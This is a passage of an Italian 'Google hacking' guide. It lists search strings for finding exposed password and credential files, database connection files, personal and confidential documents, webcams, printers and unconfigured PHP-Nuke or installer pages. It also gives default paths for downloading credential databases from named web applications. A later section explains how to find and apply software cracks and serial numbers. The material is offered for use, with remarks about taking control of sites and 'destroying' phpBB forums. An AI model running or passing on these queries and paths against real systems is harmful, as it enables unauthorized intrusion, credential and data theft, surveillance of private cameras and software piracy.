database, in cui la parte dopo ? tipicamente indica gli argomenti da cercare e altre caratteristiche della ricerca, ed è spesso generata da una form precedentemente riempita. In alcuni particolari URL, dopo ? può essere posta semplicemente
una parola, che viene ricercata all'interno dell'iperoggetto indicato dall'URL
(questa possibilità deve essere predisposta dal server; in generale, l'utente non
dovrà mai inserire a mano un URL contenente un punto interrogativo).
Il carattere + è stato introdotto in quanto l'URL non può contenere spazi, mentre
spesso gli argomenti di ricerca posti dopo un punto interrogativo li contengono
(si pensi ad esempio ad un nome e cognome, o a più parole...): pertanto il + sostituisce gli spazi all'interno di questi argomenti.
Il carattere % serve per inserire negli URL alcuni caratteri speciali che normalmente non potrebbero essere inseriti, ed è seguito dal codice ASCII del carattere
in oggetto, scritto in esadecimale.
In generale, a parte forse #, gli utenti non avranno mai la necessità di scrivere un
URL contenente questi caratteri: saranno il browser e/o altri iperoggetti a generare questi indirizzi.
18
GOOGLE HAKING
Stringhe di ricerca da copiare e incollare nella mascherina di Google
FILTRI
Uso di Google Translate monolingue per aggirare i filtri di certi siti:
Inglese:
http://translate.google.com/translate?u=www.nomesito.com&langpair=en%en
inglese-inglese
Italiano:
http://translate.google.com/translate?u=www.nomesito.com&langpair=it%it
italiano-italiano
Tedesco:
http://translate.google.com/translate?u=www.nomesito.com&langpair=de%de
tedesco-tedesco
TROVA PARENT DIRECTORY
Intitle:index.of "parent directory" - Vi appariranno tutti i portali con le directory
non protette. Aggiungendo site:urldelsito si può esplorare un singolo sito web.
Intitle:index.of "parent directory" images OR image – Come sopra, con ricerca
immagini.
intitle:index.of etc - Lista di directory contenenti file importanti, come password
criptate.
TROVA PASSWORD E USERMAME
site:ch filetype:pwd - cerca in siti svizzeri
filetype:htpasswd htpasswd
Intitle:index of passwd passwd.bak - Per vedere tutti i portali con httpasswd noprotetto. Ma mi pare che si trovino solo pagine dedicate al Google hacking!
19
TROVA MUSICA
Queste stringhe di ricerca trovano liste di mp3 da scaricare. Completamente legale in Svizzera. Basta cambiare cantante/canzone con il nome del cantante o
gruppo cercato ed aggiungere eventualmente il titolo della canzone.
Copia e incolla nella mascherina Google:
-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory"
+description +size +(wma|mp3) "<CANTANTE/CANZONE>"
(da Haywirehacking.com)
Più semplice:
intitle:index.of Mp3 cantante canzone
intitle:Index of mp3 cantante canzone
Ci si possono risparmiare fatiche copiaincollative con siti di ricerca automatica
come:
http://g2p.org/ e http://www.musgle.com/.
TROVA VIDEO O FILMATI
intitle:index.of "parent directory" video OR videos
TROVA WEBCAM
intitle:"Live View / - AXIS" - Tantissime webcam da controllo remoto Axix posizionate ed accesse nei posti più strani.
inurl:"ViewerFrame?Mode=" - Una marea di telecamere Panasonic in giro per il
mondo con addirittura la possibilità di comandarle nella direzione e nello zoom
tilt intitle:Live View/-Axisinurl:view/view.shtml - Migliaia di webcam puntate
su uffici, fabbriche, negozi.
Ecco alcune stringhe da dare in pasto a Google per ricercare le webcam online.
WebcamXP -> "my webcamXP server!"
Panasonic Cam -> /ViewerFrame?Mode=Motion
Toshiba Cam -> "TOSHIBA Network Camera - User Login"
Sony Cam -> /home/homeJ.html
Canon Cam -> sample/LvAppl
Stringhe varie da provare, dal sito www.thenorba.com
20
HACKER CON GOOGLE:le stringhe segrete
Directory aperte
Obiettivo: Directory non protette
intitle:index.of "parent directory": La ricerca fornisce tutte quelle pagine che
hanno come titolo "Index Of" e che contengono all'interno la frase esatta "parent
directory"(directory di livello superiore che è solitamente un link con cui risalire l’albero dei file sino alla home page del sito.). Il risultato sarà dunque un lungo elenco di directory con al loro interno decine di migliaia di file, spesso inconsapevolmente lasciati visibili a tutti dai rispettivi proprietari che li pensavano ben
nascosti.
Obiettivo: Immagini in directory non protette
intitle:index.of "parent directory" images OR image
Poniamo di aver bisogno di cercare alcune immagini ma non vogliamo utilizzare
i motori tradizionali. Possiamo allora tentare con le moltissime directory zeppe
di immagini disponibili sul Web. Ricicliamo il nostro hack 1 e aggiungiamo anche le parole images OR image. Inserita su Google, la nostra query di ricerca ci
ha suggerito più di due milioni e mezzo di pagine. Il difficile sarà solo spulciarle
per trovare quello che cerchiamo! Va naturalmente aggiunto che sostituendo ad
images qualsiasi parola o frase che identifichi la risorsa da voi cercata si avrà accesso ad un vastissimo campo di informazioni.
Obiettivo: Directory di backup non protette
"Index of /backup"Questa ricerca fornisce un elenco delle directory denominate "backup". Queste cartelle spesso contengono le più disparate tipologie di informazioni, poiché sono utilizzate come contenitori. Lasciarle sguarnite è sicuramente un metodo poco sicuro che potrebbe mettere chiunque in condizione di
frugarci dentro alla ricerca di dati utili.
21
Password e username
Le password – le query d'esempio in Google
"http://*:*@www" site
le password alla pagina site, memorizzate nella
forma "http://username:password@www..."
filetype:bak
inurl:"htaccess|passwd|shadow|ht
users"
le copie di backup dei file, in cui si possono trovare
le informazio-ni sui nomi degli utenti e le password
filetype:mdb
inurl:"account|users|admin|admin
istrators|passwd|password"
i file di tipo mdb, che possono contenere le informazioni sulle password
intitle:"Index of" pwd.db
i file pwd.dbpossono contenere i nomi degli utenti e
le password codificate
inurl:admin inurl:backup
intitle:index.of
le directory contenenti nel nome le parole admine
backup
"Index of/" "Parent Directory" "WS _
FTP.ini" filetype:ini WS _ FTP PWD
i file di configurazione del programma WS_FTPche
possono contenere le password ai server FTP
ext:pwd
inurl:(service|authors|administrators
|users) "# -FrontPage-"
i file contenenti le password del programma Microsoft FrontPage
filetype:sql ("passwd values ****" |
"pas-sword values ****" | "pass values
****" )
i file contenenti il codice SQL e le password aggiunte al database
intitle:index.of trillian.ini
i file di configurazione dell'instant messaging Trillian
eggdrop filetype:user user
i file di configurazione dell'ircbot Eggdrop
filetype:conf slapd.conf
i file di configurazione dell'applicazione OpenLDAP
inurl:"wvdial.conf" intext:"password"
i file di configurazione del programma WV Dial
ext:ini eudora.ini
i file di configurazione del programma di posta Eudora
filetype:mdb inurl:users.mdb
i file Microsoft Access, che possono contenere le
informazioni sugli account
22
intext:"powered by Web Wiz Journal"
i siti Web che utilizzano l'applicazione Web WizJournal che nella configurazione standard permette di scaricare il file contenente le password; invece
dell'indirizzo di default http://<host>/journal/ bisogna immettere http://<host>/journal/journal.mdb
"Powered by DUclassified" site:duware.com
"Powered by DUcalendar" site:duware.com
"Powered by DUdirectory" site:duware.com
"Powered by DUclassmate" site:duware.com
"Powered by DUdownload" site:duware.com
"Powered by DUpaypal" site:duware.com
"Powered by DUforum" site:duware.com
intitle:dupics inurl:(add.asp |
default.asp |
view.asp | voting.asp) site:duware.com
i siti Web che utilizzano le applicazioni DUclassified, DUcalendar, DUdirectory, DUclassmate, DUdownload, DUpaypal, DUforumo DUpicsche nella
configurazione standard permettono di scari-care il
file contenente le password; invece dell'indirizzo di
default (per DUclassified)
http://<host>/duClassified/bisogna immettere
http://<host>/duClassified/_private/duclassified.mdb
intext:"BiTBOARD v2.0"
"BiTSHiFTERS Bulletin Board"
i siti Web che utilizzano l'applicazione Bitboard2,che nella configurazione standard permette di
scaricare il file contenente le password; invece dell'indirizzo di default http://<host>/forum/ forum.phpbisogna immettere
http://<host>/forum/admin/data_ passwd.dat
“Index of/””Parent Directory” “WS _ FTP.ini”
Oppure
filetype:ini WS _ FTP PWD
è possibile ottenere una moltitudine di link ai dati ai quali si è interessati,che per
nostra ignoranza noi stessi forniamo .Un altro esempio è l’applicazioneWeb
chiamata DUclassified, che permette di aggiungere e gestirele pubblicità nei
portali Internet.
Nella configurazione standard di questo programma i nomi degli utenti,le
password ed altri dati sono conservati nel file duclassified.mdb che si trova
nella sottodirectory _private non protetta dalla lettura. Basta allora trovare un
portale che utilizza Duclassifield con l’indirizzo d’esempio
http://<host>/duClassified/ e cambiarlo in
http://<host>/duClassified/_private/duclassified.mdb,
per ottenere in questo modo il file con le password e l’accesso illimitato alle applicazioni
Invece per trovare i siti che utilizzano l’applicazione trattata, può aiutare la
query seguente fatta in Google:
“Powered by DUclassified” -site:duware.com
23
(per evitare i risultati riguardanti i siti del produttore). Una cosa curiosa è che, il
produttore di Duclassified •la ditta DUware – ha creato altre applicazioni,
anch’esse suscettibili ad abusi simili.
È difficile fornire un principio concreto per cercare tali dati, però danno buoni risultati le combinazioni delle parole account, users, admin, administrators,passwd, password ecc,con formati di file di tipo .xls, .txt, .doc,.mdb e
.pdf. Merita anche rivolgere l’attenzione alle directory che contengono nel
nome le parole admin,backup o simili:
inurl:admin intitle:index.of.
Obiettivo: Password di pagine Web
filetype:htpasswd htpasswd
Fornisce un lungo elenco di siti che non hanno debitamente protetto il file htpasswd, solitamente utilizzato in ambito Linux/Unix per proteggere singole pagine web con una password e uno username.
Obiettivo: Password di sistemi Linux
intitle:index.of passwd passwd.bak Sempre in ambito Unix, è un hack per visualizzare i file di
password di sistemi operativi. Il file passwd contiene infatti, spesso tuttavia in forma criptata, le
password dei sistemi Linux. L'estensione .bak aggiunta alla seconda chiave di ricerca cerca di
scoprire anche le password di backup.
Obiettivo: Password generiche
filetype:dat "password.dat"
filetype:log inurl:"password.log"
Sono due ricerche che cercano file contenenti password generiche, non create cioè da una specifica
applicazione. L'estensione .dat è generalmente utilizzata da programmi Windows per contenere
informazioni di sistema, mentre i file .log sono utilizzati da molti software per le stesse finalità.
Cambiando le estensioni con alcune di vostro gradimento si potranno avere anche altre sorprese.
Obiettivo:Password memorizzate in service.pwd di FrontPage:
ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-”
Obiettivo: Password in
password.log
password.list
Obiettivo: Usernames, passwords, e indirizzo del databases MySQL nei file .inc
filetype:inc intext:mysql_connect
Obiettivo: distruggere i forum phpBB
ext:php intext:”$dbms””$dbhost””$dbuser””$dbpasswd””$table_prefix””phpbb_installed”
Dati personali e documenti confidenziali
Per trovarli basta eseguire la seguente query:
intitle:"curriculum vitae" "phone * * *" "address*" "e-mail".
È facile anche trovare dati telematici in forma di elenchi di cognomi, numeri telefonici ed indirizzi e-mail .
Questo risulta dal fatto che quasi tutti gli utenti Internet creano rubriche di indirizzi di vario tipo – sono di poca importanza per un comune intruso, però un
24
abile sociotecnico riuscirà a sfruttarne i dati contenuti, specialmente se riguardano i contatti nell'ambito di una ditta. Abbastanza bene in questo caso si
comporta per esempio la query:
filetype:xls inurl:"email.xls",
che troverà i fogli di calcolo con il nome email.xls.
Una situazione simile si ha con gli instant messaging di rete e le liste dei contatti
memorizzate in essi; In Rete si possono anche trovare dei documenti classificati come segreti e che per questo contengono informazioni riservate. Possono essere piante di un progetto, documentazioni tecniche, diversi questionari,
rapporti, presentazioni e una moltitudine di altri documenti interni di una ditta. Si
possono distinguare dagli altri tipi di documenti, perché molto spesso contengono la parola confidential, la frase Not for distribution o simili . La Tabella sotto contiene alcune query d'esempio sui documenti che possono contenere dati personali e informazioni confidenziali. Come nel caso delle
password, per evitare di rivelare le nostre informazioni private, possiamo soltanto usare molta prudenza e controllo sui dati da pubblicare.
La ricerca dei dati personali e dei documenti confidenziali
filetype:xls inurl:"email.xls"
"phone * * *" "address *" "e-mail" intitle:"curriculum
vitae"
"not for distribution" confidential
buddylist.blt
intitle:index.of mystuff.xml
filetype:ctt "msn"
filetype:QDF QDF
intitle:index.of finances.xls
intitle:"Index Of" -inurl:maillog maillog size
"Network Vulnerability Assessment Report"
"Host Vulnerability Summary Report"
filetype:pdf "Assessment Report"
"This file was generated by Nessus"
i file email.xls, che possono contenere dei
dati telematici
i documenti CV
i documenti provvisti della classificazione
confidential
gli elenchi dei contatti dell'instant messaging AIM
gli elenchi dei contatti dell'instant messaging Trillian
gli elenchi dei contatti MSN
il database del programma finanziario Quicken
i file finances.xls, che possono contenere le
informazio-ni sui conti bancari, elenchi finanziari e i numeri delle carte di credito
i file maillogche possono contenere i messaggi email
i rapporti della ricerca sulla sicurezza di rete, dei test di penetrazione ecc.
25
Obiettivo: Dati privati di connessioni a database
intitle:"index of" intext:connect.inc
intitle:"index of" intext:globals.inc
Anche i database non possono considerarsi sicuri. Le due ricerche proposte possono fornire dati molto dettagliati sulle password e sulle impostazioni utilizzate
da MySQL, uno dei database Open Source più diffusi sul Web. La ricerca infatti
visualizzerà quelle directory non protette che contengono i file connect.inc o
globals.inc solitamente utilizzati dagli sviluppatori per inserire, in formato non
crittato, i dati di collegamento ai database, compresi username e password.
Obiettivo: Chiavi di ingresso di canali IRC
sets mode: +k
Questo hack è utilizzato per cercare, nei log file, le password di protezione dei
canali IRC. +k è la modalità dei canali di chat che avvisa l'utente delle impostazioni ristrette.
Obiettivo: Password di utenti registrati in chat IRC
"Your password is * Remember"
Your password is * Remember
Questa ricerca troverà nella memoria di Google il messaggio che solitamente
viene utilizzato dai gestori automatici dei canali di chat per inviare la password
all'utente registrato. Da notare il carattere jolly * usato al posto della password da
cercare.
Siti vulnerabili
Obiettivo: Forum UBB vulnerabili
ext:cgi inurl:ubb6_test.cgi
Il forum di discussione UBB, molto diffuso nel Web, contiene ad esempio il file
ubb6_test.cgi, per gestire alcune operazioni di installazione, che potrebbe compromettere la stabilità del server se non opportunamente cancellato. L'amministratore del Forum distratto potrebbe anche pensare che nessuno andrà mai a cercare un tale file sul proprio server, ma non ha pensato a Google. Ext: indica a
Google di cercare un file con un'estensione particolare.
Obiettivo: Applicazioni vulnerabili in PHP
allinurl:install/install.php
La query ha il fine di cercare tutte quei siti che hanno dimenticato il file d'installazione tra le loro pagine, generalmente chiamato appunto install.php o anche
config.php. Con questi file spesso è un gioco da ragazzi cambiare le proprietà del
sito, comprese username e password.
26
Obiettivo: Sistema PHPNuke sprovvisto di account
"There are no Administrators Accounts" inurl:admin.php mysql_fetch_row
Chi, dopo aver installato PHP-Nuke, non ha provveduto a creare un account di
amministratore, potrebbe vedere visualizzata la pagina "There are no Administrators Accounts". Cercarla con Google è un gioco da ragazzi e altrettanto facile
sarà avere un sito gestito con PHP-Nuke sotto il nostro completo controllo.
Stampanti e videocamere
Obiettivo: Webcam sul Web
inurl:"ViewerFrame?Mode="
La Panasonic produce alcune videocamere di rete sponsorizzate come il miglior
sistema per monitorare la casa, il posto d'ufficio o qualsiasi altro ambiente semplicemente attraverso il browser. Cercando con Google la query riportata sopra è
possibile visualizzare molte di queste videocamere e scoprire anche nuovi paesaggi del mondo!
intitle:"EvoCam" inurl:"webcam.html"
Come risultato si avranno tutte le pagine di webcam generate da EvoCam, un
software molto noto per la gestione delle webcam su computer Macintosh che,
senza preoccuparsi del nostro occhio globale, titola le pagine con la parola EvoCam e le denomina sempre webcam.html.
intitle:"Live View / - AXIS"
La ricerca fornisce un elenco di tutte le videocamere gestite da software Axis.
Spesso tale tipo di dispositivi può essere anche controllato sul Web, permettendo
a chiunque, se non sono stati eretti i dovuti argini di sicurezza, di manipolarle
con l'uso di un semplice browser.
Obiettivo: Stampanti Ricoh collegate al Web
inurl:sts_index.cgi
intitle:RICOH intitle:"Network Administration"
Anche le stampanti, le fotocopiatrici e i CD-Rom sono sotto controllo. Con queste stringhe è possibile visualizzare le pagine di amministrazioni delle stampanti
o delle fotocopiatrici Ricoh che, in rete attraverso una connessione non Intranet,
posseggono una propria applicazione web per gestirle e configurarle.
Obiettivo: Periferiche CD-Rom collegate al Web
intitle:"axis storpoint CD" intitle:"ip address"
Sempre dalla Axis è prodotto un software che consente di gestire dal Web le periferiche CD-Rom o DVD. Nato per condividere le risorse in alcune reti, ha anche qualche problemino di sicurezza. Si provi a usare la query descritta sopra per
navigare allegramente tra i CD di alcune aziende poco accorte
27
Documenti, file MP3 e filmati in Divx
Obiettivo: File Excel con dati sensibili
filetype:xls inurl:"email.xls"
filetype:xls username password
filetype:xls private OR reserved
La prima query restituisce documenti Excel contenenti
e-mail; il secondo è un hack che potrebbe restituire documenti contenti nomi e
password di accesso; il terzo potrebbe rintracciare documenti privati o riservati.
Obiettivo: Documenti word "pericolosi"
filetype:doc site:mil + classified
Sempre come esempio di altre applicazione, abbiamo associato alla ricerca per
tipo di file anche una restrizione di ambito. site:.mil imposta il motore di ricerca
per cercare documenti Word, con la parola "classified" (ossia 'protocollato') solo
nei siti con estensione .mil, ossia i siti gestiti da organismi militari. Non dobbiamo aggiungere che una ricerca di questo tipo può essere molto pericolosa.
Obiettivo: File MP3
?intitle:index.of? mp3
intitle:"index of" -inurl:htm -inurl:html mp3
intitle:index.of /AlbumArt_
Anche i file MP3 hanno la loro antologia di query da mettere subito in atto. Con
questa ricerca si ottiene la lista di quelle directory non protette che contengono
file MP3. Facendo seguire a MP3 anche il titolo del brano o il nome dell'artista,
con qualche fortuna potremmo trovare anche siti che contengono una canzone
specifica. Il secondo esempio è una versione più raffinata dello stesso hack che
filtra i risultati dalle pagine inutili. L'ultimo restringe il risultato ai file generati
da Windows Media Player (AlbumArt_ è una query con cui il software nomina
le copertine dei CD).
Obiettivo: Ricerca video
"parent directory" video
Le regole descritte per i file MP3 potrebbero valere anche per altri formati. Eseguendo ad esempio questa query, il sistema ci restituirà pagine e pagine che al
loro interno contengono filmati nei formati compressi più noti sul Web.
28
RICERCA CRACK
COS'E' UN CRACK?
Il crack non è nient'altro che un piccolo programma che "protegge" il cd , cosicché sarà possibile l'utilizzo del programma anche senza il supporto originale.
Molti programmi e videogiochi quest'oggi sono protetti in maniera molto agguerrita, ed è possibile "clonare" questi giochi solo se si dispone di un particolare
hardware molto sofisticato. Non tutti però possono permettersi di acquistare masterizzatori da 500€, ed è per questo che bisogna ricorrere a dei metodi per aggirare le protezioni più difficili. Il metodo più adatto è l'utilizzo dei crack.
COME SI RICERCA UN CRACK?
Il metodo standard per cercare un crack o un codice seriale nel web è quello di
utilizzare i motori di ricerca. Come motori di ricerca intendo esclusivamente
GOOGLE.COM
Come Procedere? Supponiamo che abbiamo appena istallato un CD masterizzato
di giochi (ad esempio FIFA2004) ed ora ci occorre il crack per farlo funzionare.
Nel TOOL di ricerca di GOOGLE inseriremo la parola chiave "fifa2004.exe"
(comprese le virgolette) che in questo caso rappresenta il crack. Questa ricerca
purtroppo non è una cosa facile e col tempo sta diventando sempre più difficile,
difatti la distribuzione dei crack e/o dei codici seriali è severamente vietata in
gran parte del mondo, ed i siti che offrono queste risorse stanno tutte chiudendo.
Ma nonostante tutto ci sono anche molti siti soprattutto stranieri che ancora offrono queste "risorse" gratuitamente. Uno sito in particolare va nominato:
MSCRACKS.COM
RICERCARE CODICI SERIALI
A volte dopo aver istallato un programma o un gioco masterizzato ci occorre il
codice seriale per farlo funzionare correttamente. Questo è il sito ideale per cercare tutti i codici seriali presenti nel web. Il sito è in lingua inglese ed è uno dei
migliori nel web.
Si Consiglia la visualizzazione di questo sito con un buon antivirus, in quanto al
caricamento della pagina si caricano alcuni POP-UP con degli script potenzialmente dannosi.
http://www.serials.ws
29
COME SI APPLICANO I CRACK?
Copiare innanzitutto il contenuto del cd sull'hard disk.
Per fare ciò si può procedere in questo modo:
1. Utilizzare i copia/incolla (questo metodo non funziona se sul cd ci sono dei
settori difettosi o dei "Dummy Files", ovvero files non leggibili).
Dopo aver copiato il contenuto del cd sull' Hard Disk, si applica il crack al file
eseguibile principale. (di solito è il file di applicazione .EXE)
2. Istallare direttamente il programma o il videogioco sul vostro Hard Disk (Di
solito il file di istallazione si chiama SETUP.EXE).
Dopo aver installato il contenuto del cd sull Hard Disk, si applica il crack al file
eseguibile principale. (di solito è il file di applicazione .EXE)
Come applicare il crack utilizzando il metodo 1:
Potete trovare due tipi di crack:
- Un crack che sostituisce l'eseguibile (questo in genere ha lo stesso nome dell'eseguibile, dovete estrarlo direttamente nella cartella del vostro HD dove avete
copiato l'eseguibile originale e sovrascriverlo).
- Un crack che "patcha" l'eseguibile; dovete estrarlo nella cartella con l'eseguibile
originale e avviarlo. Al termine del processo di patching riceverete un messaggio
del tipo "File XXX patched successfully", o qualcosa del genere. Se ricevete
messaggi di errore dovrete scaricare un altro tipo di crack.
Welcome to the Google Hacking Database (GHDB)!
Un elenco già pronto di ricerce avanzate con google tali per cui vi sarà possibile
trovare contenuti più o meno segreti condivisi erroneame. Cosa si può trovare?
•
•
•
•
•
•
•
Un numero spropositato di webcam pubbliche… alcune delle quali con
la funzione PAN and TILT che permettono di muovere la webcam lungo gli assi e zoomare.
Files con password
Indirizziari email
Dump di database
File di configurazione con le credenziali di accesso
Stampanti di rete accessibili via web
etc… etc…
Collegarsi al sito http://www.hackersforcharity.org/ghdb/
In base a quello che cerchiamo aprire i collegamenti e provare: buona fortuna!
30
Advisories and Vulnerabilities (215 entries)
These searches locate vulnerable servers. These searches are often generated
from various security advisory posts, and in many cases are product or versionspecific.
Error Messages (68 entries)
Really retarded error messages that say WAY too much!
Files containing juicy info (230 entries)
No usernames or passwords, but interesting stuff none the less.
Files containing passwords (135 entries)
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!
Files containing usernames (15 entries)
These files contain usernames, but no passwords… Still, google finding
usernames on a web site..
Footholds (21 entries)
Examples of queries that can help a hacker gain a foothold into a web server
Pages containing login portals (232 entries)
These are login pages for various services. Consider them the front door of a
website’s more sensitive functions.
Pages containing network or vulnerability data (59 entries)
These pages contain such things as firewall logs, honeypot logs, network
information, IDS logs… all sorts of fun stuff!
sensitive Directories (61 entries)
Google’s collection of web sites sharing sensitive directories. The files contained
in here will vary from sesitive to uber-secret!
sensitive Online Shopping Info (9 entries)
Examples of queries that can reveal online shopping info like customer data,
suppliers, orders, creditcard numbers, credit card info, etc
Various Online Devices (201 entries)
This category contains things like printers, video cameras, and all sorts of cool
things found on the web with Google.
31
Vulnerable Files (57 entries)
HUNDREDS of vulnerable files that Google can find on websites…
Vulnerable Servers (48 entries)
These searches reveal servers with specific vulnerabilities. These are found in a
different way than the searches found in the “Vulnerable Files” section.
Web Server Detection (72 entries)
These links demonstrate Google’s awesome ability to profile web servers..
Advanced Dork
Estensione FIREFOX (Compatibile con
Firefox 1.0 - 3.6a1pre)
https://addons.mozilla.org/it/firefox/addon/2144?application=firefox&id=2144&
vid=13150
Si chiama Advanced Dork l'estensione per Firefox che non può mancare nella
cassetta degli attrezzi del Google hacker. Con questo plugin è possibile utilizzare
gli operatori di ricerca avanzati di Google: intitle: inurl: intext: site: ext: filetype:.
Basta selezionare la parola da cercare, cliccare con il tasto destro e dal menu
contestuale scegliere l'operatore che fa al caso nostro. (da
http://www.ossblog.it/post/659/google-hacking-con-unestensione-per-firefox )
Google Hacking e Guida all’uso – Parte prima
In questa prima parte andremo ad analizzare il funzionamento del grande motore
di ricerca come metodo di hacking diretto (trovando password , user ed accessi
privati senza sforzo) o come hacking indiretto (cercando pagine di accesso o
server vulnerabili).
Ecco cosa affronteremo in questo primo articolo dedicato a google
1.
2.
3.
Servizi base ed operatori avanzati di google
Introduzione alla parte pratica (hacking)
Google Hacking: Pratica (I)
Operatori Base (USO: OERATORE STRINGA)
•
32
AND : Inserendo tra le due parole che cerchiamo , l’operatore
AND, google ci darà i risultati che comprendano le parole da
noi cercate in una qualsiasi parte del testo.
Es: se cerchiamo “sole Luna” (che corrisponderebbe a “sole
•
•
•
•
•
and luna”) avremo come risultati tutti i siti che comprendono le
parole”sole” e “luna” sia nell’url che nel testo.
OR: Con l’operatore OR avremo un diverso risultato. Infatti se
inseriamo nella barra di rierca “Sole OR Luna” , i risultati avranno o siti con la parola” sole” o siti con la parola
“luna”.Quindi saranno mostrati tutti i siti con almeno una delle
parole da voi cercate.
- (meno) : Con questo segno messo prima del termine da cercare, diciamo al motore di ricerca di non cercare quella parola.
Es: se vogliamo cercare sole senza 24 ore, basta inserire nella
casella di ricerca “Sole -24″ ed avremo come risultato una ricerca con “sole” ma senza “24 ore”.
+ (piu’) : Questo è un operatore abbastanza importante. Infatti
molte parole comuni , avverbi, parole con accento ed articoli,
vengono automaticamente non inclusi nella ricerca da google
(vengono ignorati) in quanto sono troppo comuni e potrebbero
non facilitare la ricerca.
Se invece dobbiamo cercare una frase o una parola proprio con
un accento o con un avverbio?
Niente di più facile. Basta inserire prima della parola che cerchiamo il simbolo “+” cosi’ che google ricercherà anche quella
parola.
* (asterisco): L’asterisco è un operatore speciale che ci aggevola nella ricerca. Infatti se cerchiamo la parola “attrav*” (con
asterisco finale) , avremo come risultati la parola “Atrrav”
stessa e i suoi composti, come ad esempio, attraversare, attraversamento, attraversato etc…
“” (virgolette): Le virgolette hanno anch’esse grandissima importanza per la ricerca. Quindi se vogliamo ricercare una frase
cosi’ come la scriviamo, la metteremo tra virgolette e google la
cercherà esattamente come è stata scritt (solitamente divide i
termini e cerca qualsiasi corrispondenza).
Operatori Avanzati (Uso OPERATORE: STRINGA)
•
SITE: Il primo operatore che andiamo ad analizzare è SITE.
Con questo operatore possiamo cercare una parola o una frase
all’interno di una categoria di siti, di un sito unico, o di un sito
di un dato linguaggio.Es I :Possiamo cercare una parola solo
nei siti italiani o inglesi mettendo nella casella di ricerca
“Barry White site:it” o “Barry White site:uk” , per effettuare la
ricerca sui siti inglesi. Ovviamente la ricerca la possiamo e-
33
•
•
•
•
•
•
•
•
•
stendere a tutti i siti di una qualsiasi nazionalità e possiamo anche ricercare il tutto all’interno di un unico sito.Es II
:Possiamo cercare una parola all’interno di un sito unico. Ad
esempio con la stringa “maradona site:www.ansa.it” ricercheremo la parola maradona all’interno del sito ansa.
LINK: Con l’operatore LINK possiamo ricercare tutti i siti che
contengono un link al collegamento da noi scritto nella casella
di ricerca.Es:
“link:www.ansa.it” ci darà tutti i siti che hanno un collegamento con il sito ansa.
RELATED: Con RELATED possiamo cercare un indirizzo url
simile a quello che noi inseriamo nel campo di ricerca.Es:
“related:www.ansa.it” ci darà risultati simili alla nostra ricerca.
INURL: Seguito da uno o più termini ci fa ottenere una serie di
risultati che includono il primo termine da noi cercato
nell’URL delle pagine e gli altri termini sia nell’URL che nel
testo del sito trovato.Es: “inurl: ansa maradona” troverà tutte le
pagine che nell’url (indirizzo) avranno la parola “ANSA” e nel
testo della pagina ed anche nell’URL stessa , la parola
“maradona”.
ALLINURL: Con questo operatore, invece, avremo tutte le
parole da noi cercate all’interno dell’URL. Quindi non più nel
testo dei siti creati, ma solo nel loro URL (indirizzo).
INTITLE: Cercado uno o più termini con questo operatore,
avremo come risultati , la prima parola da noi cercata nel titolo
della pagina URL dataci come risultato e il resto delle parole
cercate sia nel titolo che nel testo
ALLINTITLE: Invece, inserendo questo operatore prima delle
parole da cercare, avremo come risultato della ricerca solo link
che hanno le parole da noi cercate nel titolo della pagina url.
CACHE: Con questa funzione, noi possiamo cercare solo le
pagine web della cache di google (sarebbero le pagine web
salvate da google per l’indicizzazione del sito, la cache viene
aggiornata massimo una volta al mese)
INFO:Con questa semplice funzione possiamo cercare info riguardanti il sito che inseriamo nella casella di ricerca.
FILETYPE: Quest’ultimo operatore ci fa cercare una determinata estenzione. Possiamo trovare un file di qualsiasi tipo. Operatore importantissimo e fondamentale.
Questi operatori ci permetteranno di scoprire falle su webserver, di accedere a file di password , di avere informazioni su una macchina (pc) e tanto altro ancora.
Andiamo direttamente a vedere come sfruttare questi comandi :
34
Introduzione alla parte pratica (hacking)
Il google hacking è formato prevalentamente da quelle che vengono chiamate
“GoogleDorks”. Cosa sono? sono le stringhe di ricerca che ci permettono di effettuare hacking grazie a google.
Grazie ad una serie di combinazioni tra gli operatori semplici ed avanzati è possibile creare particolari stringhe in grado di trovare informazioni sensibili, di solito nascoste all’utenza comune.
Alla base del google hacking come ho detto prima, si trovano gli operatori semplici ed avanzati. Per prima cosa andiamo ad analizzare l’url di risposta ad una
.nostra ricerca, ricavandone alcune spiegazioni.
Apriamo il nostro google e cerchiamo sole mare , avviamo la ricerca e l’url del
risultato sarà la seguente.
La freccia indica l’URL di risposta al comando di ricerca. Andiamo ad analizzarlo.
http://www.google.it/search?hl=it&q=sole+mare&btnG=Cerca+con+Google&m
eta=
search = è il comando che google effettua per la ricerca
hl = il linguaggio nativo dei risultati che in questo caso è quello italiano (hl=it)
q = è la query di ricerca inserita dall’utente (sole mare)
google Hacking: Pratica (I)
Eccoci arrivati alla parte interessante di questa prima parte relativa al google hackin: la pratica.
35
Ricavare informazioni sensibili su un dato sito
La prima cosa che possiamo fare con un motore di ricerca come questo, è quello
di cercare all’interno di un sito un dato file, una data cartella, un dato testo o una
qualsiasi cosa ci possa interessare utilizzando gli operatori avanzati.
Il primo esempio che possiamo fare è quello di ricercare tutto quello che c’è su
un sito.
Es: cerchiamo “Site: unina.it “
Avremo come risultato , una ricerca di tutte le pagine presenti su google del sito
UNINA.IT.
Adesso, proviamo a ricercare un tipo di file su questo sito.
Modificando ulteriormente la stringa con :
Site: unina.it filetype:doc
avremo come risultato i file doc presenti nel sito unina.it
Ovviamente questo ci fa pensare, in quanto se modifichiamo le parole della ricerca possiamo cercare all’interno di un sito un determinato file (che può contenere password o informazioni riservate).
Es:
Supponiamo di prendere in considerazione i siti provenienti dall’italia e cerchiamo i file .pwd (file di password tipicamente di windows):
site:it filetype:pwd
Ci ritroveremo un risultato impressionante di siti che danno libero accesso ai
loro FILE DI PASSWORD !!
36
I File con estensione .pwd sono nel formato “nomeutente:password” dove la
password è cripatata. Anche se è protetta la possiamo lo stesso cracckare con dei
tool da sempre presenti su internet. Ma di questo ne parleremo in seguito. Ovviamente la ricerca la possiamo estendere ai siti di tutte le nazionalità inserendo
dopo l’operatore site un uk, jp, com, it, net, gov etc…
Oltre a trovare un determinato tipo di file (in questo caso abbiamo fatto un esempio con i file PWD, contenenti informazioni riservate su nomi utente e
password), possiamo trovare anche interi listati di cartelle con una particolare
stringa. Spesso un amministratore inserisce questo tipo di listati pubblicamente
per gli utenti, in modo tale che questi possano navigare facilmente all’interno
delle cartelle scelte dall’amministratore.
Purtroppo spesso molti amministratori dimenicano di settare bene i permessi ad
alcune cartelle e un attaccante può facilmente trovare intere cartelle riservate,
magari che contengono password o database con informazioni sensibili.
